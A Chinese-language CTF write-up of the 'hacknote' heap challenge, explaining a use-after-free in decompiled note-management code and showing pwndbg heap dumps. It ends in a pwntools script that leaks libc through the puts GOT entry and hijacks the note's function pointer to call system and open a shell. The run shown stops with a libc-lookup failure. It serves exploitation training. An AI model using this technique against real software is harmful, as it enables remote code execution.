hacknote
经典的use-after-free漏洞。
原理
简单的说,Use After Free 就是其字面所表达的意思,当一个内存块被释放之后再次被使用。但是其实这里有以下几种情况
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
题目分析
main主体
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
choise = atoi(&buf);
if ( choise != 2 )
break;
del_note();
}
if ( choise > 2 )
{
if ( choise == 3 )
{
print_note();
}
else
{
if ( choise == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( choise != 1 )
goto LABEL_13;
add_note();
}
}
del_note
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
√ free(*((void **)notelist[v1] + 1));
√ free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
很明显这里存在free之后没有置为null的地方,也即存在uaf漏洞。
print_note
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
add_note
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
细节分析
-
该程序的数据结构中有申请一个结构体,里面有两个成员,分别存储操纵函数的地址(正常为print_note)、存储字符的地址。
-
程序通过一个数组组织数据,数组类型为申请的结构体类型。
-
程序中存在一个后门(magic)
-
del_note
中第一个free,free掉存储字符的地址所对应的chunk,后门的free掉该结构体。free(*((void **)notelist[v1] + 1)); free(notelist[v1]);
-
print_note
的(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
(此为没导入的样子)中(void (__cdecl **)(_DWORD))
表示调用约定。*(¬elist + v1)
对应notelist[v1]
。方便理解可以直接阅读其汇编代码:.text:08048953 mov eax, [ebp+var_14] .text:08048956 mov eax, ds:notelist[eax*4] .text:0804895D mov eax, [eax] .text:0804895F mov edx, [ebp+var_14] .text:08048962 mov edx, ds:notelist[edx*4] .text:08048969 sub esp, 0Ch .text:0804896C push edx .text:0804896D call eax
为什么这里是拿自己当参数呢?而不是那它的地址+4作为参数呢?这个答案可以去看
print_note
函数就会有答案。(return puts(*(const char **)(a1 + 4));
)
简单验证
测试我们的思路,首先申请两个0x20(32)的块,之后将两个free了,在申请一个比原来块小的块(0x8),覆盖写入(cccc),看看输出0号数组目标看看是什么情况。
────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────
0x804895d <print_note+136> mov eax, dword ptr [eax]
0x804895f <print_note+138> mov edx, dword ptr [ebp - 0x14]
0x8048962 <print_note+141> mov edx, dword ptr [edx*4 + 0x804a070]
0x8048969 <print_note+148> sub esp, 0xc
0x804896c <print_note+151> push edx
► 0x804896d <print_note+152> call eax <0x63636363>
0x804896f <print_note+154> add esp, 0x10
0x8048972 <print_note+157> nop
0x8048973 <print_note+158> mov eax, dword ptr [ebp - 0xc]
0x8048976 <print_note+161> xor eax, dword ptr gs:[0x14]
0x804897d <print_note+168> je print_note+175 <print_note+175>
─────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd370 —▸ 0x804b008 ◂— 0x63636363 ('cccc')
01:0004│ 0xffffd374 —▸ 0xffffd388 ◂— 0xa30 /* '0\n' */
02:0008│ 0xffffd378 ◂— 0x4
03:000c│ 0xffffd37c ◂— 0x4
04:0010│ 0xffffd380 —▸ 0xffffd3a8 —▸ 0xffff0a33 ◂— 0x0
05:0014│ 0xffffd384 ◂— 0x0
06:0018│ 0xffffd388 ◂— 0xa30 /* '0\n' */
07:001c│ 0xffffd38c ◂— 0xcea11c00
───────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────
► f 0 0x804896d print_note+152
f 1 0x8048ad3 main+155
f 2 0xf7e13647 __libc_start_main+247
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x804b000
Size: 0x11
Free chunk (fastbins) | PREV_INUSE
Addr: 0x804b010
Size: 0x29
fd: 0x00
Allocated chunk | PREV_INUSE
Addr: 0x804b038
Size: 0x11
Free chunk (fastbins) | PREV_INUSE
Addr: 0x804b048
Size: 0x29
fd: 0x804b010
Top chunk | PREV_INUSE
Addr: 0x804b070
Size: 0x20f91
pwndbg> x/40wx 0x804b000
0x804b000: 0x00000000 0x00000011 0x63636363 0x0804b00a
0x804b010: 0x00000000 0x00000029 0x00000000 0x0000000a
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b030: 0x00000000 0x00000000 0x00000000 0x00000011
0x804b040: 0x0804865b 0x0804b008 0x00000000 0x00000029
0x804b050: 0x0804b010 0x0000000a 0x00000000 0x00000000
0x804b060: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b070: 0x00000000 0x00020f91 0x00000000 0x00000000
0x804b080: 0x00000000 0x00000000 0x00000000 0x00000000
我们可以看到,我们将原先为0x0804865b
复写成了写入的cccc
,且后面在原先需要调用的0x0804865b
变成了我们的cccc
。
脚本调试
from pwn import *
from LibcSearcher import *
r=process('./hacknote')
elf=ELF('hacknote')
def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
'''
b *0x080488ae
b *0x08048951
b *0x0804896f
b *0x080487be
'''
if __name__ == '__main__':
context.log_level="debug"
put_elf=elf.plt['puts']
put_got=elf.got['puts']
pause()
addnote(0x20,'aaaa')
addnote(0x20,'bbbb')
delnote(0)
delnote(1)
addnote(0x8,p32(put_elf)+p32(put_got))
printnote(0)
r.recvuntil("Index :")
print('______aaaaaa____')
put_real_add=u32(r.recv(4))
print hex(put_real_add)
libc=LibcSearcher('puts',put_real_add)
base=put_real_add-libc.dump('puts')
system_add=libc.dump('system')+base
bin_sh_str=libc.dump('str_bin_sh')+base
delnote(2)
addnote(8,p32(system_add)+p32(bin_sh_str))
printnote(0)
r.interactive()
No matched libc, please add more libc or try others
[*] Stopped process './hacknote' (pid 9468)
Libcsearch中没有找到对应的libc,题目典型,主要是理解思路,但是理解即可。